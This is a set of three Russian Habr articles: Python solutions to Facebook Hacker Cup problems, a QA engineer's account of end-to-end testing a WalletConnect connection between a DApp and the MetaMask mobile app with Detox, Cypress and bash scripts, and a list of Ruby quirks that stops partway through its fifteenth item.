Идем снизу вверх, от точки выхода — в нее кладем вероятность 1. в нее можем попасть из двух точек, левее-выше и правее-выше. Из этих точек в точку выхода мы попадаем с вероятностью 1/2. Правило сложения вероятностей говорит об их перемножении. Уровень закончили, переходим к следующему: Есть 2 точки, с вероятностями 1/2. Рассматриваем независимо их вклад в следующий:
* В левую точку мы можем попасть только упав справа (сверху шайба), а слева просто пролетим мимо. Из правого «родителя» в нее мы попадаем с 1/2. Опять «складываем» вероятности, т.е. перемножаем 1/2\*1/2, получаем 0.25
* В правой точке вероятность прихода от левого родителя 1/2, а от правого — 1, т.к. за игровое поле монетка не выходит — там стенка
Теперь складываем (уже по обычному) полученные вероятности, чтобы получить третий слой, который оказывается последним. (Иначе для каждого элемента с ненулевой вероятностью запускаем аналогичный процесс).
Имеем, что в средний выход можно попасть только кидая монетку из среднего или правого окошка, причем с одинаковой вероятностью.
В формате исходных данный фейсбука, рассматриваемое поле представляется строкой: 3 4 1 1 0
* первые две цифры — размеры поля
* номер выхода (считают с нулевого)
* количество потерянных шайб, такое же количество следующих пар-координат (1 0 означает удаленную первую шайбу из второй строчки)
Теперь реализуем эту идею:
> `1. #!/usr/bin/python
> 2. #coding=utf-8
> 3.
> 4. #ищет "родителей"
> 5. def next(y,x,v):
> 6. l=[]
> 7. if (x+y)%2==0: #где запланирована фишка
> 8. l.append((y-1,x,v))
> 9. return l
> 10. #значит на пустом месте
> 11. if (y-1,x) in skip:#над нами пусто
> 12. l.append((y-1,x,v))
> 13. #но ретернить рано - могли и с боков свалиться
> 14. #проверяем левее
> 15. if x!=0:#не в самом левом столбике
> 16. if x!=0 and x!=size:
> 17. if (y,x-1) not in skip:#левее есть фишка
> 18. if x==1 or (y%2==1 and ( x==2 or x==size)):
> 19. #дополнительные условия - на то, что крестик не скраю
> 20. l.append((y-1,x-1,v))# с самой левой один путь дорога
> 21. else:
> 22. l.append((y-1,x-1,v/2.))# не с самой левой - два пути
> 23. # если в самом левом столбце - падение сверху уже запланировано
> 24. #проверяем правее
> 25. if x!=size:#не в самом правом столбике
> 26. if (y,x+1) not in skip:#правее есть фишка
> 27. if x==size-1 or (y%2==1 and ( x+1==2 or x+1==size-2)):
> 28. l.append((y-1,x+1,v))# с самой правой один путь дорога
> 29. else:
> 30. l.append((y-1,x+1,v/2.))# не с самой правой - два пути
> 31. return l
> 32. #перевод входных данных в сквозную декартову адресацию
> 33. def rc\_to\_yx(rs,cs):
> 34. if rs%2==0:
> 35. return (rs,cs\*2)
> 36. return (rs,cs\*2+1)
> 37. f = open('in', 'r')
> 38. f.readline()
> 39. lines\_in=f.readlines()
> 40. for inputWords in lines\_in:
> 41. skip\_l = []
> 42. skip=set(skip\_l)
> 43. inputWords = inputWords[0:-1].split(' ')
> 44. inputWords= filter (lambda a: a != "", inputWords)
> 45. r=int(inputWords.pop(0))
> 46. c=int(inputWords.pop(0))
> 47. target=int(inputWords.pop(0))
> 48. s\_count=inputWords.pop(0)
> 49. for q in range(int(s\_count)):
> 50. rs=inputWords.pop(0)
> 51. cs=inputWords.pop(0)
> 52. skip.add(rc\_to\_yx(int(rs),int(cs)))
> 53. #Закончили с загрузкой данных, приступаем к вычислениям
> 54. size=c+c-2 #"ширина"слоя, для определения правой границы
> 55. n={}
> 56. n[(r-1,target\*2+1)]=1
> 57. for q in range(r-1):
> 58. s=n
> 59. n={}
> 60. for (b,a),v in s.iteritems():
> 61. for (y,x,v) in next(b,a,v):
> 62. try:
> 63. n[(y,x)]+=v
> 64. except KeyError:
> 65. n[(y,x)]=v
> 66. #print n #дебажный послойный вывод
> 67. #Все уже посчитали, осталось вывести максимальную вероятность
> 68. maxv=0
> 69. maxx=0
> 70. for (y,x),v in n.iteritems():
> 71. if v>maxv:
> 72. maxv=v
> 73. maxx=x
> 74. #Выводим, как хочет фейсбук - с 6 нулями
> 75. print '%(i)d %(d)f' % \
> 76. {"i":(maxx-1)/2, "d":maxv}
> 77. print
> \* This source code was highlighted with Source Code Highlighter.`
### Задача 3. «Studious Student»
Переставляя слова данного набора составить слово с наименьшим лексикографическим порядком (как в словаре).
Например, из набора: facebook hacker cup for studious students
Нужно получить слово: cupfacebookforhackerstudentsstudious
#### Решение
~~(удалил неправильное решение)~~
Решение от хабраюзера [funca](https://habrahabr.ru/users/funca/), сложность **О(N!)**
> `1. from itertools import permutations
> 2. source = "jibw ji jp bw jibw"
> 3. words = source.split()
> 4. answer = min("".join(combination) for combination in permutations(words))
> \* This source code was highlighted with Source Code Highlighter.`
По условию N<=9, факториальная сложность успевает отлично
[Плюсовать этот его коммент](http://habrahabr.ru/blogs/python/111898/#comment_3577271)
Решение от хабраюзера [Skiminok](https://habrahabr.ru/users/skiminok/) сложность **O(N log N)**
> `1. from functools import cmp\_to\_key
> 2. def comp(a, b):
> 3. return -1 if a + b < b + a else 1 if a + b > b + a else 0
> 4. def solve(s):
> 5. return "".join(sorted(s.split(), key = cmp\_to\_key(comp)))
> \* This source code was highlighted with Source Code Highlighter.`
[Плюсовать этот его коммент](http://habrahabr.ru/blogs/python/111898/#comment_3577759)
Более короткая версия на лямбде от [funca](https://habrahabr.ru/users/funca/)
> `1. def solve(s):
> 2. return "".join(sorted(s.split(), cmp=lambda a, b: cmp(a+b, b+a)))
> \* This source code was highlighted with Source Code Highlighter.`
[Плюсовать этот коммент](http://habrahabr.ru/blogs/python/111898/#comment_3578030) | https://habr.com/ru/post/111898/ | null | ru | null |
# E2E-тестирование подключения по WalletConnect между DApp и мобильным приложением Metamask
Тестирование приложений через сквозные (end-to-end) тесты сейчас довольно популярно. Этот вид тестирования позволяет оценить работоспособность приложения со стороны пользователя. Поэтому компания, в которой я работаю, внедряет этот вид тестирования в проекты.
Летом 2022 года мы разрабатывали блокчейн приложение. Моя задача заключалась в проведении E2E тестирования DApp *[Децентрализованное приложение — приложение, которое базируется на технологии блокчейн совместно с механизмом распределенного выполнения необходимых инструкций]*. Но мы столкнулись с проблемой *—* готовых решений для проведения end-to-end тестирования DApp под нашу конкретную задачу не было. Эта статья о том, как мы решали эту проблему.
Всем привет! Меня зовут Илья. Я QA-engineer в компании Tourmaline Core. Я занимаюсь налаживанием процессов тестирования на всех уровнях. В этой статье хочу рассказать с какими проблемами я столкнулся на одном из проектов, как решал их и какой результат получил.
Задачей проекта, над которым мы работали, была разработка Telegram-бота для взаимодействия с Gnosis Safe. Gnosis Safe является безопасным способом управления криптовалютными средствами. Также, Gnosis Safe *—* это система, позволяющая создавать DAO (децентрализованная автономная организация). Сервис позволяет ее участникам управлять организацией с помощью proposal (предложений), где выполнение каждого пропозала определяется коллективным голосованием, без центрального органа управления. Так, любой пользователь внутри данной системы может создать пропозал на добавление нового участника DAO или выполнения метода смарт-контракта, за который голосуют другие участники DAO. Когда количество проголосовавших переходит некий порог, то в блокчейне создается и выполняется транзакция. Бот состоит из [Web App](https://core.telegram.org/bots/webapps), а для обработки полученных команд разработан API и настроена интеграция с мобильным приложением Metamask при помощи WalletConnect. Приложение Metamask используется для подтверждения или отклонения транзакции, а WalletConnect обеспечивает подключение нашего приложения к криптокошельку.
Для начала немного расскажу, как происходит взаимодействие пользователя с DAO в Gnosis Safe с помощью бота.
1. Создаем группу в Telegram и добавляем туда бота
2. Выполняем все шаги для инициализации DAO
3. Открываем UI в боте
4. С помощью приложения Metamask сканируем сгенерированный QR-код
5. В приложении Metamask подтверждаем запрос на подключение
6. Выбираем нужное действие в UI бота (например, перевод эфира со счета нашего DAO на другой счет)
7. Открываем приложение Metamask и во всплывающем окне подтверждаем транзакцию
В результате был разработанбот с собственным графическим интерфейсом и API для него. API получает запросы от UI на создание и выполнение пропозалов в Gnosis Safe, который в свою очередь и взаимодействует с DAO, который был в нем создан. На рисунке изображена схема взаимодействия сервисов в проекте.
Схема взаимодействия сервисов в проектеДля меня (как и для многих, пожалуй) это дебри, в которые погружаться страшно, но интересно. От меня требовалось создать автоматизированные тесты для проверки подключения нашего приложения к Metamask по протоколу WalletConnect и проверки возможности создания транзакций после этого. То есть нужно пройти все этапы взаимодействия пользователя с нашим приложением *—* от сканирования QR-кода, до успешного коннекта, после которого можно отправлять запросы и видеть уведомления.
> Но с приложениями на блокчейне есть проблема *—* их мало кто тестирует через сквозные тесты, так как для этого имеется мало подходящих опциональных инструментов. В нашем случае проблемой стало использование мобильного приложения Metamask, вместо браузерного расширения.
>
>
Я начал искать решения и здесь мое гугление, которое обычно не заходит дальше первой страницы, дошло до пятой, но результата так и не дало. Я не нашёл ни статей, ни наглядных примеров, ни стоящих инструментов под свою задачу. Всё что было, это вопросы от таких же тестировщиков. Я выделил 2 основных фактора, которые привели меня к разработке своего решения:
* API Metamask не предоставляет возможность установить соединение с помощью WalletConnect через мобильное приложение. Поэтому иным способом, кроме как сканировать QR-код это не сделать. Это означало, что без работы с пользовательским интерфейсом не обойтись.
* отсутствие E2E-фреймворков под нашу задачу. Есть [*Synpress*](https://github.com/Synthetixio/synpress) и [*Dappeteer*](https://github.com/decentraland/dappeteer) (по сути, расширения для популярных Сypress и Puppeteer), но они предназначены для тестирования взаимодействия DApp с MetaMask в качестве браузерного расширения. А у нас, напомню, работа идет только с мобильным приложением.
Поэтому было принято решение использовать эмулятор смартфона для установки на него приложения Metamask и взаимодействовать с ним, используя библиотеку Detox.
**Начало настройки проекта:**
Мы клонировали себе репозиторий [metamask-mobile](https://github.com/MetaMask/metamask-mobile). Сперва хотелось всё запустить у себя на машине и посмотреть, как работают сквозные тесты, которые уже были написаны разработчиками на фреймворке Detox. Для этого в репозитории есть инструкция, которую нужно проанализировать, чтобы понять подходим ли мы по системным требованиями и что необходимо установить. Сразу видим, что приложение можно запустить только на MacOS или Linux.
Теперь можно начать установку и настройку проекта. Сначала нужно выбрать на какой мобильной операционной системе оно будет запускаться. Мы выбрали Android, т.к. имели опыт работы с ним. Ставим Android Studio IDE, и согласно инструкции создаем эмулятор Google Pixel 3. В ридми не указано какую версию API нужно использовать. У нас все заработало на версии 29. На более свежих версиях Detox не мог взаимодействовать с элементами интерфейса в приложении.
После этого нужно выполнить все yarn команды из ридми. Далее можно запускать Metamask в эмуляторе как обычное react-native приложение *—* с помощью команды `yarn start:android`. Но выполнив команду для запуска Detox тестов `yarn test:e2e:android` мы получили ошибки. Чтобы всё правильно заработало, пришлось внести некоторые изменения в [пакеты](https://github.com/TourmalineCore/Metamask.DetoxTests/pull/1/files#diff-7ae45ad102eab3b6d7e7896acd08c427a9b25b346470d7bc6507b6481575d519) и [скрипты запуска](https://github.com/TourmalineCore/Metamask.DetoxTests/pull/2/files#diff-3d64996115d0ac3b74e36f57ce6b00d6b4982614c41b1ed39eab8ef43b2e9a2b).
Наконец-то можно было начать переделывать тесты под себя: удалить все тестовые кейсы и оставить один, связанный с авторизацией в кошелек. Для полного покрытия нужного нам сценария осталось добавить:
1. Нажатие на кнопку сканирования QR-кода
2. Ожидание сканирования QR-кода и появления уведомления о подключении
3. Нажатие на кнопку одобрения подключения к нашему DApp
4. Запуск API-тестов
5. Ожидание появления уведомлений о транзакциях, созданных API запросами
6. Нажатие на кнопку подтверждения этих транзакций
Для реализации некоторых пунктов понадобилось сделать отдельный проект. Для сканирования QR-кода пришлось делать скриншот при помощи Cypress, а на API написать тесты. Но обо всем по порядку.
**Сканирование QR кода:**
QR-код сканируется с помощью специального сканера внутри приложения Metamask. Этот сканер использует камеру смартфона для считывания. Но как это будет выглядеть в эмуляторе? Разработчики Android Studio сделали виртуальную сцену, как бы эмуляцию реального взаимодействия с внешним миром. Выглядит это будто в игре: вы находитесь в некой квартире, можете по ней ходить, вертеть камерой. В настройках эмулятора можно добавлять свои изображения на специальные темплейты, находящиеся в квартире, например, на доске. Это может пригодиться для сканирования QR-изображений.
Виртуальная сцена с песиком. Выглядит прикольно, не правда ли?Я задался вопросом *—* как в автоматическом режиме без моего участия отсканировать изображение QR-кода, которое я заранее поместил на одном из темплейтов? И наткнулся на очень простое решение.
* В папке *Library / Android / sdk / emulator / resources* есть файл под названием *Toren1BD.posters*. В нем хранится информация о местоположении темплейтов в пространстве, на место которых можно вставлять свои изображения.
* Этот файл нужно открыть и добавить туда следующие строчки:
Добавить строчки, подсвеченные зеленым
* Добавить изображение с названием *custom.png* в эту директорию. Этот *png* файл должен быть изображением QR-кода.
Теперь при открытии камеры у нас появляется изображение, которое мы хотим отсканировать:
Скриншот QR-кода на весь экран после открытия камеры. Удобно!Но как мы можем автоматически получать скриншот QR-кода с нашего приложения? Здесь к нам на помощь приходит Сypress. Можно создать один небольшой тест, который сделает снимок нужного нам компонента с изображением QR-кода:
```
const QR_CODE_SELECTOR = '.walletconnect-modal__base';
describe('Qr-code screenshot test', () => {
it('take qr-code screenshot', () => {
cy.visit('http://localhost:3000');
cy.contains('Connect').click();
cy.get(QR_CODE_SELECTOR).screenshot('qrcode');
});
});
```
Скриншоты сохраняются в папке */screenshots*,откуда их в дальнейшем будем доставать при помощи скриптов, переименовывать и перемещать в папку с плейсхолдерами. Код для сканирования QR-кода можно найти в [репозитории](https://github.com/TourmalineCore/DAO-service.Api-service-tests).
Также, сразу после скриншота, нам бы хотелось перетащить получившееся изображение в директорию */resources*. Для этого, в Cypress есть плагины, изменяющие или расширяющие его внутреннее поведение (например, эвент *after:screenshot)*. Добавление плагинов происходит через функцию `setupNodeEvents(on, config)`. Туда мы добавляем слушателей, которые триггерятся на заданные события и выполняют инструкции, описанные внутри. Прежде всего, напишем скрипт, который переносит скриншот в нужную нам директорию:
```
#!/bin/bash
CYPRESS_DIRECTORY="$HOME/Documents/dao-api-tests"
RESOURCES_DIRECTORY="$HOME/Library/Android/sdk/emulator/resources"
# move and renamed qr-code image in resource directory
cd $CYPRESS_DIRECTORY/cypress/screenshots/login.spec.cy.js
mv qrcode.png $RESOURCES_DIRECTORY/custom.png
```
Потом добавим функцию *setupNodeEvents* в файл конфигурации Cypress *cypress.config.js,* а в неё добавим эвент, запускающий скрипт после скриншота.
> Если у вас версия Cypress ниже 10.0, то добавление плагинов происходит в файле *index.ts* директории *plugins*
>
>
```
const { exec } = require('child_process')
module.exports = defineConfig({
e2e: {
/*
some configs
*/
setupNodeEvents(on, config) {
on('after:screenshot', (details) => {
exec('sh moveScreenshot.sh');
})
},
}
});
```
Хорошо, допустим мы отсканировали код и установили соединение. А что дальше? Следующим шагом нужно получить данные о сессии, которые получает DApp. В дальнейшем, сессия будет нужна API-сервису для отправки запросов.
**Получение сессии:**
Как было сказано ранее, WalletConnect устанавливает связь между двумя узлами *—* DApp и криптокошельком пользователя (в нашем случае Metamask). Когда пользователь нажимает на кнопку “Connect” в приложении, отображается QR-код, который нужно сканировать приложением Metamask. Так происходит подключение кошелька к приложению. Metamask сканирует QR-код, расшифровывает данные запроса на соединение и показывает данные этого запроса пользователю. Далее пользователь может отклонить или одобрить установление соединения.
Уведомление на подключение приложения к Metamask после сканирования QR-кодаВ случае успешного подключения, создается сессия. Благодаря сессии, Metamask сможет получать уведомления с предложением подписать или отклонить транзакцию, созданную с помощью DApp. В нашем случае требуется сохранять сессию в базе данных через вызов API метода. Это необходимо для того, чтобы при подписании транзакции отобразить запрос в приложении Metamask. Для этого сохраненная сессия используется в провайдере, который предоставляет WalletConnect.
```
{
"userId": 123456789,
"session": {
"connected":true,
"accounts":["0x2D0805dB07BED54AFC3EBED54AFC3EBED54AFC3E"],
"chainId":4,
"bridge":"https://g.bridge.walletconnect.org",
"key":"4aeb243c3ec2aa1739ad7def514aeba43a20ab117a354cdaf8f04aeb6e4aeb32",
"clientId":"acd8a6e0-403a-403a-403a-17105368cc9e",
"clientMeta":{
"description":"DAO telegram bot",
"url":"http://localhost:3000",
"icons":["https://walletconnect.org/walletconnect-logo.png"],
"name":"DAO"
},
"peerId":"56ea8258-6480-6480-6480-194b062944c1",
"peerMeta":{
"description":"MetaMask Mobile app",
"url":"https://metamask.io",
"icons":["https://raw.githubusercontent.com/MetaMask/brand-resources/master/SVG/metamask-fox.svg"],
"name":"MetaMask",
"ssl":true
},
"handshakeId":5678123456781234,
"handshakeTopic":"2996df1f-6a42-6a42-6a42-78bb145cb858"
}
}
```
Таким образом, при каждом новом запуске Metamask в эмуляторе для автоматизации отправки запросов нам нужно устанавливать соединение между кошельком и сервисом. То есть каждый запуск нужно сохранять новую сессию. В [репозитории](https://github.com/TourmalineCore/DAO-service.Api-service-tests) мы добавили простейшую реализацию UI (*dao-service-stub*) для отображения QR-кода. В коде можно найти обработчик события *onConnect*. В нем мы будем получать сессию после того как в Metamask подтверждено подключение. Далее, нам нужно передать сессию в API. Для этого вызываем эндпоинт сохранения сессии:
```
axios.post(`${BASE_URL}/walletConnectSessions`, connector.session, {
headers: { 'TelegramData': JSON.stringify(telegramData) }
});
```
Здесь TelegramData представляет из себя объект:
```
{
"query_id":"AAE3SfY-AAAAADdJ9j4QITp1",
"user":"{\"id\":1056327991,\"first_name\":\"Ivan\",\"last_name\":\"Ivanov\",\"username\":\"Ivanchelo\",\"language_code\":\"en\"}",
"auth_date":"1658988403",
"hash":"6f19e07c5fa68c540d55403bc475df4358ad04a8d532e1913260e9228241d5b3"
}
```
При этом стоить помнить, что API должен быть запущен. Его мы тоже запускаем с помощью скрипта перед запуском Cypress для сканирования кода. После удачного подключения сессия сохраняется в базе данных.
**API-тесты:**
Чтобы была возможность проверить успешность подключения по WalletConnect и работоспособность запросов, важно запустить E2E API-тесты. Их цель пройти базовый флоу от создания и инициализации DAO, до создания транзакций, взаимодействующих с Gnosis Safe. Все запросы должны сопровождаться получением уведомлений с предложением подписать или отклонить транзакцию в приложении Metamask. После подтверждения транзакция идет в блокчейн, а ее ответ приходит в наш API-сервис, за счет того же WalletConnect.
Для написания тестов на API мы выбрали Pactum JS, так как это достаточно простой, но мощный инструмент. Раннером тестов выбрали Mocha.
Пример теста на запрос, инициализирующий DAO:
```
it('init DAO, should takes gnosis DAO address', async () => {
const requestBody = {
"groupId": mockGroupId,
"owners": mockParticipantsList,
"threshold": 1
};
console.log("APROVE INITING DAO IN YOUR METAMASK APP IN 50 SEC")
await spec()
.post(`/groups/initDao`)
.withHeaders('telegramData', JSON.stringify(mockPersonalTelegramData))
.withJson(requestBody)
.expectStatus(201)
});
```
По умолчанию, если ответ не был получен за 3 секунды, то любой запрос падает. Это нужно учитывать, ведь тесту, создающему транзакцию, попросту не хватит этого времени. Так что необходимо изменить значение тайм-аута до 50 секунд *—* именно столько времени в среднем хватает на получение ответа.
Вот пример кода, который увеличивает тайм-аут запроса:
Добавить модуль *request*:
```
const { request } = require('pactum');
```
Затем добавить следующую строчку в любом месте перед тестами:
```
request.setDefaultTimeout(50 * 1000); // 50 sec delay while user signed transaction
```
После отправки в тестах запроса (например, для перевода токенов) мы увидим в эмуляторе всплывающее окно с просьбой подписать сообщение:
Уведомление на подписание сообщенияТеперь любой тест будет ожидать ответ в течение 50 секунд. В конечном итоге мы получили сквозные API тесты, которые имитируют базовый сценарий пользователя: создание группы, инициализация DAO, создание пропозала, голосование за пропозал и др. Код тестов можно посмотреть в [репозитории](https://github.com/TourmalineCore/DAO-service.Api-service-tests/tree/master/test).
Результат работы API-тестовТеперь все блокеры можно считать разрешенными и можно переходить к нашей основной цели *—* написанию E2E теста, в котором всё свяжется воедино.
**Детокс-тесты:**
Остается переделать Detox тесты под задачу. Само приложение написано на React Native, в котором используется компонентная структура. Поэтому нужно найти необходимые нам компоненты:
* кнопка открытия камеры для сканирования QR кода
* модальное окно подтверждения подключения и кнопка его одобрения
* модальное окно подтверждения транзакции и кнопка его одобрения
* модальное окно подтверждения сообщения и кнопка сообщения
В компоненты добавляем дополнительный пропс *testId* (если он отсутствовал),для удобного взаимодействия с ними в тестах. Изменения можно посмотреть в [репозитории](https://github.com/TourmalineCore/Metamask.DetoxTests/pull/5).
Далее добавляем нажатие на соответствующие кнопки. Для этого мы использовали уже написанные разработчиками Metamask тестовые хелперы, например, `waitAndTap`:
```
static async waitAndTap(elementId, timeout) {
await waitFor(element(by.id(elementId)))
.toBeVisible()
.withTimeout(timeout || 8000);
return element(by.id(elementId)).tap();
}
```
Пример использования в тестах:
```
const SIGNATURE_CONFIRM_BUTTON = 'request-signature-confirm-button';
// it('example', () => {
//
//
await TestHelpers.waitAndTap(SIGNATURE_CONFIRM_BUTTON);
// })
```
Наши тесты практически готовы. Остается приправить наш основной сценарий вышеуказанными решениями, чтобы весь цикл работы не блокировался.
**Баш-скрипты:**
Последняя задача *—* запустить все тесты в виде пайплайна. Для этого мы написали bash-скрипты. Так мы запустим главный (родительский) поток теста Detox, и, параллельно ему, дочерние: сканирование QR-кода и отправка запросов через API.
Я выделил три необходимых скрипта:
1. Скрипт, который запускает UI, API и Redis для хранения сессий
```
#!/bin/bash
API_DIRECTORY="$HOME/Documents/dao-api-service"
METAMASK_DIRECTORY="$HOME/metamask-mobile"
# get the database up
cd $API_DIRECTORY
docker-compose up -d
# run UI and API
cd $METAMASK_DIRECTORY
npm run all-for-tests
```
*docker-compose up -d* запускает контейнеры с базой данных, а *npm run all-for-tests* запускает параллельно несколько npm скриптов, в данном случае запуск UI и API.
```
"run-api": "cd $HOME/Documents/dao-api-service && yarn start:dev",
"run-ui": "cd $HOME/Documents/dao-api-tests/dao-service-stub && npm start",
"all-for-tests": "npm-run-all --parallel run-ui run-api"
```
2. Скрипт на очистку директорий от старого скриншота и запуск Cypress теста, делающего скриншот QR-кода
```
#!/bin/bash
QR_CODE_DIRECTORY="$HOME/Library/Android/sdk/emulator/resources"
CYPRESS_DIRECTORY="$HOME/Documents/dao-api-tests"
# clear qrcode in resources directory
cd $QR_CODE_DIRECTORY
rm custom.png
# clear qrcode in cypress directory
cd $CYPRESS_DIRECTORY/cypress/screenshots/login.spec.cy.js
rm qrcode.png
# make a screenshot of qrcode by cypress
cd $CYPRESS_DIRECTORY
npx cypress run --headless --browser chrome
```
3. Скрипт для запуска API тестов
```
#!/bin/bash
APITEST_DIRECTORY="$HOME/Documents/dao-api-tests"
# run API-tests
cd $APITEST_DIRECTORY
npm test
```
Эти баш скрипты будем запускать параллельно с запуском Detox. Для этого в главном тестовом файле *e2e/specs/****transactions-test.spec.js*** в проекте Metamask подключаем метод **exec** из модуля child\_process. Он создает оболочку shell и выполняет команду, переданную в нее:
```
import { exec } from 'child_process';
```
Сначала запускаем скрипт `exec('sh ./scripts/prepare-services.sh')`, чтобы запустить API и UI. Затем `exec('sh ./scripts/scan-qr-code.sh')`, чтобы вырезать QR-код и вставить его на фон камеры эмулятора и отправить сессию. После этого выполняются Detox тесты для сканирования кода, тесты по созданию нового счета и так далее. Следующим этапом выполняется скрипт для запуска API-тестов — `exec('sh ./scripts/run-api-tests.sh')`. При этом, для всех этапов Detox тестов указаны задержки и методы, с помощью которых проверяется рендер нужных компонентов в интерфейсе (всплывающие окна, кнопки и так далее). Да, установка задержек не лучший вариант, но в данном случае, скорее всего, единственный позволяющий провести такого рода тестирование.
Ниже приведен код, позволяющий с помощью Detox подтвердить запрос на подписание транзакции, созданной на стороне API:
```
const SIGNATURE_MODAL = 'signature-modal';
const SIGNATURE_CONFIRM_BUTTON = 'request-signature-confirm-button';
const TRANSACTION_MODAL = 'txn-confirm-screen';
const TRANSACTION_CONFIRM_BUTTON = 'txn-confirm-send-button';
it('confirm and sign transactions, created by api tests', async () => {
TestHelpers.delay(5000);
exec('./scripts/start-api.sh'); // execute API-test
// 1st of 5 transactions
await TestHelpers.checkIfVisible(TRANSACTION_MODAL);
await TestHelpers.waitAndTap(TRANSACTION_CONFIRM_BUTTON);
// 2nd of 5 transactions
await TestHelpers.checkIfVisible(SIGNATURE_MODAL);
await TestHelpers.swipe(SIGNATURE_MODAL, 'up', 'fast');
await TestHelpers.waitAndTap(SIGNATURE_CONFIRM_BUTTON);
// 3rd of 5 transactions
await TestHelpers.checkIfVisible(SIGNATURE_MODAL);
await TestHelpers.swipe(SIGNATURE_MODAL, 'up', 'fast');
await TestHelpers.waitAndTap(SIGNATURE_CONFIRM_BUTTON);
// 4th of 5 transactions
await TestHelpers.checkIfVisible(SIGNATURE_MODAL);
await TestHelpers.swipe(SIGNATURE_MODAL, 'up', 'fast');
await TestHelpers.waitAndTap(SIGNATURE_CONFIRM_BUTTON);
// 5th last transactions
await TestHelpers.checkIfVisible(TRANSACTION_MODAL);
await TestHelpers.waitAndTap(TRANSACTION_CONFIRM_BUTTON);
});
```
**Итоги:**
Теперь, помимо родительского потока Detox, взаимодействующего с пользовательским интерфейсом, параллельно в качестве дочернего процесса запускается тест для получения скриншота QR-кода. Этот поток успевает полностью выполниться до того как начнется сканирование. После сканирования QR-кода и успешного получения сессии WalletConnect, запускаются API-тесты. Здесь остаётся дождаться появления уведомлений и их одобрения. Взаимодействие с приложением и реакция на уведомления происходит в главном потоке Detox тестов.
Решение не совсем очевидное и не очень элегантное. Но благодаря такому подходу мы можем совокупно запускать тесты для автоматизированной проверки всего user flow в приложениях, где совместно используются сторонние мобильные приложения и веб-сервисы.
Результаты запуска тестов. Все проверки проходят в рамках одного запускаМы залили наше решение в репозитории с инструкциями по запуску - [API-сервис](https://github.com/TourmalineCore/DAO-service.Api-service); [тесты](https://github.com/TourmalineCore/DAO-service.Api-service-tests) на скриншот и на API; [тесты](https://github.com/TourmalineCore/Metamask.DetoxTests) на Detox.
Надеюсь, данная статья окажется вам полезной. | https://habr.com/ru/post/693566/ | null | ru | null |
# 15 странностей в Ruby, о которых вам стоит знать
Ruby — замечательный язык со множеством интересных деталей, которые вы могли раньше и не видеть.
В этом посте я собрал несколько таких деталей в список.
1. Heredoc + Метод
------------------
Если у вас есть какие-то текстовые данные, которые вы хотите встроить в программу, вы можете использовать “heredoc”. В результате вы получите строку, например так:
```
input = <<-IN
ULL
RRDDD
LURDL
IN
```
Но дополнительно к этому можно использовать пост-процессинг, например разделить текст по словам. Ruby позволяет делать такое:
```
input = <<-IN.split
ULL
RRDDD
LURDL
IN
```
А ещё в Ruby 2.3 появился «волнистый» heredoc <<~. Он удаляет все пробелы, использованные для отступов, распространённую проблему использования heredoc для текста.
2. Вызов метода двойным двоеточием
----------------------------------
Может, кому-то пригодится.
```
"abc"::size
# 3
[1,2,3,4,5]::size
# 5
```
3. Puts с несколькими аргументами
---------------------------------
Довольно простая вещь, но часто бывает полезна.
```
puts 1,2,3
1
2
3
```
4. Бесконечное взятие по индексу
--------------------------------
Сразу пример:
```
words = ["abc", "foo"]
words[0][0][0][0][0]
```
Конечно же это работает потому, что [] — это просто метод, и просто возвращает первый символ строки, который тоже является строкой.
5. Деструктуризация аргументов блока
------------------------------------
Хотите избавиться от пары локальных переменных? Вам это понравится.
```
a = [[1,2],[3,4]]
a.each do |(first, last)|
# ...
end
```
Эквивалентно:
```
a = [[1,2],[3,4]]
a.each do |sub_array|
first, last = sub_array
# ...
end
```
Зато экономит строчку кода.
6. Специальные глобальные переменные
------------------------------------
При использовании регексов со скобками будут определены специальные константы $1 для первой группы, $2 для второй и т.д. Стоит помнить, что они ведут себя не как обычные переменные: имеют другую область видимости (общую для метода и потока), не могут быть переназначены. Список их можно увидеть [здесь](https://en.wikibooks.org/wiki/Ruby_Programming/Syntax/Variables_and_Constants#Pre-defined_Variables).
```
$1 = 'test'
# SyntaxError: (eval):2: Can't set variable $1
```
7. Оператор присоединения со строкой
------------------------------------
Оператор присоединения (<<) работает со строкой не как ожидается, если в качестве аргумента передать число:
```
"" << 97
# a
```
Он интерпретирует число как ASCII-код. Штатный способ для того же:
```
97.chr
# a
```
8. Символьные литералы
----------------------
Не уверен, что это на самом деле кому-то пригодится.
```
?a
"a"
?aa
# Syntax error
```
Можете писать в комментах, что об этом думаете.
9. Модуль RbConfig
------------------
RbConfig — это недокументированный модуль, содержащий кое-какую инфу о вашей конфигурации Ruby. Например, в RbConfig::CONFIG содержатся флаги компиляции интерпретатора, версия, операционная система.
```
RbConfig.constants
# [:TOPDIR, :DESTDIR, :CONFIG, :MAKEFILE_CONFIG]
RbConfig::CONFIG['host_os']
# "linux-gnu"
RbConfig::CONFIG['ruby_version']
# "2.4.0"
```
10. Пробелы, везде пробелы!
---------------------------
Между вызываемым методом и получателем можно ставить сколько угодно пробелов.
```
a = [1,2,3]
a [0]
a .size
a . empty?
```
Ага, это валидный синтакс в Ruby.
11. Бесконечное наследование констант
-------------------------------------
```
String::String::Fixnum::Float
```
Пытливые умы догадались сразу: все константы верхнего уровня (определённые не внутри какого-либо класса) содержатся в классе Object, и могут быть вызваны любым классом, унаследованным от Object. Чтобы лучше понять, посмотрите на Object.constants в irb.
12. Последовательный оператор присоединения
-------------------------------------------
Оператор << можно объединять в цепочки:
```
a = []
a << 1 << 2 << 3
# a = [1, 2, 3]
```
13. BEGIN и END
---------------
Два ключевых слова, которые используют довольно редко. Думаю, что они они пришли из мира Perl / Unix, где привычное действие — писать короткие скрипты для обработки вывода других программ. Как оно работает:
```
puts 123
BEGIN {
puts "Program starting..."
}
```
Этот код выведет «Program starting...» ПЕРЕД «123». Мой читатель подсказывает, что это бывает полезно, когда нужно изменить путь к RUBYLIB для 'require', потому что будет гарантированно исполнено перед всеми «require». Также бывает полезно для установки $VERBOSE и других констант окружения.
14. ЧоЗаХрень
--------------
Я даже не знаю как и зачем это появилось в языке, и посоветую аккуратнее с этим обращаться. Мало кто знает об этой фиче, и её очень трудно понять. Но, предупреждён — значит вооружён:
```
if (condition1)..(condition2)
# do something
end
```
Идея в том, что если первое условие истинно, то переключается невидимый рычаг, и с этого момента условие будет выполняться, пока второе условие тоже не станет истинным. Пример:
```
(1..20).each do |i|
puts i if (i == 3)..(i == 15)
end
```
Оно напечатает все числа с 3 до 15, но если 15 будет пропущено в цикле, то оно так и продолжит печатать.
15. Ключевое слово redo
-----------------------
Ещё одно редко используемое ключевое слово, которое позволяет повторить итерацию в цикле.
```
